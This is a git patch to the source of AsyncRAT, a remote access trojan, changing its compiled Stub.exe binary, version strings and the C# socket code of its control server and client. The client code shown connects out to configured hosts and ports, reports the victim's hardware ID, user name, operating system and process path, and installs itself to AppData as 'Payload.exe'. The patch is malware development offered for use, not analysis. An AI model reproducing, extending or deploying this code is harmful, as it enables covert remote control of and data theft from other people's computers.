From 6557356a14197745891324bea5de9d6155be70c0 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 29 Mar 2019 13:17:13 -0700 Subject: [PATCH] UPDATE --- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 97280 -> 97280 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 7 +++---- AsyncRAT-C#/Client/Settings.cs | 2 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 10 +++++----- 5 files changed, 10 insertions(+), 11 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index d626cd0594955c604c06090bf7edfa8d31a4209e..9f51c7591f7dc96f2778da89b2f10a072b54ac11 100644 GIT binary patch delta 3482 zcmZXWdsGzH9mntQE<5Zl5SN`@TpotU@)&`&M2#iUU{F(xwT)VhltYYF+LPwQgBhuw zW7LI$n0PQg23M*m)ZilxCpBI15fwyGG*MAhw2D#CD2Ow=uulxb7pv$1~f$C@BJ~^)?~)YC;TzkTpPrP4zOQ_@>eDjj_o_vM~Q7 zA%1cyuB69=Smded>Its$PpL+ZZ|$Z^>RF6xZYyTXMe6DnuHxj)1EN%g%*85QGy<{Y z#$zS!d_LeT63~(S2W)vS8unZhvV0Pkk{MSP8<8xkavBwRQmdNFB05xlIDk@sT1DGV zk1DErlmb;TNWDBaX!|KoHdlaM*|25ggr$JbMo6%Kg50Ak zY6;OO$R=g%{&kTdre{kB_{-|qW{>F};*Zt7+wXeu|6*b>Nsk$!gE=W$0!oCWFhNdL zCLG8L82nJulwAiBM@>^>e|pN~GF4;8aSlFL+|b;&wcA|vCYLLI2X{fWQhjhwT$GtC z+#cr)7PiNQ${K_Pn{yl0BO+t;_PB64N-6mAjb{$SPW8F9b1wPreEDm5##866ds7Z8 z5HJQihnlSkxVbQt1VJ z?2;LHjJL;y$*D{Yr_!iFHA0@E)HgU_j_-1ViAFEQkld};~kaJk0T>&Mw!%)U) zLsX&R2;5^-?CgpXNG*KNJ;Bv&sReRG%gb;i2G)U>rsogLvwWJX+&y_HMXzdGo210)#-H1_BCA4 z>6Gm>+||gmB=nr^4E(_9oe(#i1zM-}D;U@MSqO38*jrhPL1f@hP*S(Gx=ltZ($iHJ8tb;SjlM> zPVEk?;j|H_eFwZ6c}#b4h<9NdH@}as489AyIo(LQW9tNRR%vcM@?pF+w79?HB_MqW~3EHpfYb?Q$eSx3r+ivyAT+j3kNg7xnyjN0sazwnCb7s& z>0X_dn+>$Q(B z8nJB;r|sNZWpKlA`Y%QWrZom2!|9Wo_^QKKkx4-_k@j%&FK8xGL%ZgM;Y&J+1~4ix z#fAV$qIT|;NNz}`5!~A(0ZFED+{;UHgPXd!SC|CEO~+^+ZmmunL37&GS1ma~`s|ft z6ur+A8(b&FQM8LEwzw`L_3DXV(9txxgKdqJ4s{2Op_!ciI&@6XOSDiUY!PM~ORIDe z$T<2Botj}Btw+NC#imCAZg_>BVrG%)zxW^1E3`!mHN7CZA&p+;-gps68ok9mbu#1W zJ?^QK8Be>or%vWo`jmU>WL~AlTiQe&STmglsWgognOs;jorW;8kp1jUpyN1wW^9HD zv_eb7XKEKG(ndzwG0vdpbWb1|^onoT4|TtT$W7PZga}CA-~A?(7;S`HUYjvubl{L* Uej3|0f5oGwCHqUW;l0TJ0UKX^j{pDw delta 3554 zcmZXWc~BHr9>?GB!8F4FahT>9IRqJj=9m=~k$7S}Fjgh2BpPL@gjIKoq?W>T*d*ny zJ0J!%!BT7;4Ps_nO3jxsIPwfb;(k&2HYgXT1AKlA!H>GY5hSJl4@qq&~-!NO=Mv~Ga;U8 z3a*sLgjm$+Z1n_J1;>~%uV&Ty3hK&7HLn%3)g^3o16R@NhF($GiY&xRLo@-g8e@Uu+SP9sLB2M(c9l!523}s#JuY`EhP%S0zXM@)lTlRztR2+Pkqo^<>fcAfYOcesngl& z1+Fm1h(3!fdrE4Tp|IMrNm3L6|Lx4-UphS;>lBN9_{ z{oB`}pSQffH?>X!pJeQiw-`&Q8QRVL^C454R{v+HtT|Hu7C@yIexMZ2)a*QPf(FM} z*j|FEG8FH(Bm+-4?o3V8N*e>6DclRC%7{KMOr6HnaH@>#QwOP8HRl`6bnwS$=54~p z+up%a9%@N1=fB3;tvx?7XW%y$LL9T+APe32R>KqNNT2oUWc)0s$vrwV+Lf~p*ThYB z`efSnK~9}c+kHxGbxv`#c@xBcZAZRes z0hl9bCelGD7c|GA*$%;3m%t3jks9HupmSs*90ppi7tMuMI08X}{^U1LItmU>`evFS zfm5md=SbPw1fvYE%+>_2aq95?M_eLlhHRZ6Fd+%4sNTg|bU;h2gjixEeraolN}Wip zsn&KJb{ez~snMWAwi9s4pkua^a91buM+48;PQf!lIYCZ14N?Q^S4fV%WF@B|vVpMv zh2-r)5@~^KVOC?q7FaImlza)Pi&HTf9=p$W1|kmVW%7M$ZD(PepiemchEp;5l+yy? zjSSD1&O+otJ#R}wzH|-_Az}YwQXNr6&%-5d7L)PNIN$=@6Eqwe23&;Ihgf1U*%Gk? zE<$pnPCYSgwu^9B&|-&$UWD%isg3|sD|~{_8Oy6RwcA>u%pia7@1UBI3(a{BPst`j`p<2*Gd%ko7(oX6vo<#+iZbE^e!|2_Fk56&W z?1k-bL4lwE+}bTzA!r#+trJQGt;1<|LYYo3^KBgBZKxFHzhf%=Z$p)!YYCmUJK%X* zZ!u=TJtSXF9nch+Ozyxy-Qy4C9Z2NlCdUJwVB`#gp4t8d*#`C4?t-a>*R;FX(|jNN zIJ(J3yCmO-FhQLGzVZV&BWP`+EI)z;XIP?}w8ezVPrxN;yI++26gCUW42hF}ggQat zkR*4(JwXd1M#(=z;5ohhQx~>>4&lAXN#W!sxpvw59FotAQ0|T8q#>+kM=H)EGeL>p;XIi7^B0-U%Z}~dt5<$+;5SxR3=F$;cY?X)59R^7xmR9#mjHP?} zCC1W&g3_a^WQ86Rlo3^nbWSI}?KpZ%c*{JT5J&HGDm1V301`)kYiFr#?x+L zevW25_3F^Q5PV4|&;gtZ%|n8KBv8BXN)#s~(n#U0SAZnaIN{|dIKfGW39l#th?9=i zJ=|J@{41K%!C&=9Nq0a689^V3#70N6Jc4$K#B+`dNN}BR1{1%g$uvnPvNqW1mqN1y z{WUnn?`68ohzzlfp*swc$XL3|pcWWQk09aw7n>jXIAI(;#m%MW|Kfj8<7lfMY91y# zVLZJmya_Up@$|Ov*kmTqhr(l%nLxXQ$0n0T$qlycrDisnH0sT%*c^y8CsKb#GthKk z(TOyKn??L*?-iOR=@}+NIGq+8Tg-u-$MBM?`K2U j?w@AEXC`azgCX7%W)DlR@-G@kGk Online = new List(); public static List Blocked = new List(); public static string Port = "6606,7707,8808"; - public static readonly string Version = "AsyncRAT 0.2.8"; + public static readonly string Version = "AsyncRAT 0.2.8A"; public static long Sent = 0; public static long Received = 0; public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a103cfd..a6f80e9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -64,7 +64,7 @@ namespace AsyncRAT_Sharp.Sockets MS = new MemoryStream(); if (Buffersize > 0) { - Buffer = new byte[Buffersize - 1]; + Buffer = new byte[Buffersize]; BufferRecevied = true; } } @@ -80,7 +80,6 @@ namespace AsyncRAT_Sharp.Sockets try { HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); - } catch (CryptographicException) { @@ -153,8 +152,8 @@ namespace AsyncRAT_Sharp.Sockets { byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MEM.WriteAsync(buffersize, 0, buffersize.Length); - MEM.WriteAsync(buffer, 0, buffer.Length); + MEM.Write(buffersize, 0, buffersize.Length); + MEM.Write(buffer, 0, buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); Settings.Sent += (long)MEM.Length; diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 279bd04..a7a7e48 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -9,7 +9,7 @@ namespace Client { public static readonly string Ports = "6606" ; public static readonly string Host = "127.0.0.1" ; - public static readonly string Version = "AsyncRAT 0.2.8"; + public static readonly string Version = "AsyncRAT 0.2.8A"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index dbccc12..98940b5 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -35,7 +35,7 @@ namespace Client.Sockets ReceiveTimeout = -1, SendTimeout = -1, }; - Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), + Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); Connected = true; @@ -78,7 +78,7 @@ namespace Client.Sockets msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); - msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; @@ -128,7 +128,7 @@ namespace Client.Sockets MS = new MemoryStream(); if (Buffersize > 0) { - Buffer = new byte[Buffersize - 1]; + Buffer = new byte[Buffersize]; BufferRecevied = true; } } @@ -140,10 +140,10 @@ namespace Client.Sockets if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); - MS.Dispose(); - MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; + MS.Dispose(); + MS = new MemoryStream(); BufferRecevied = false; } else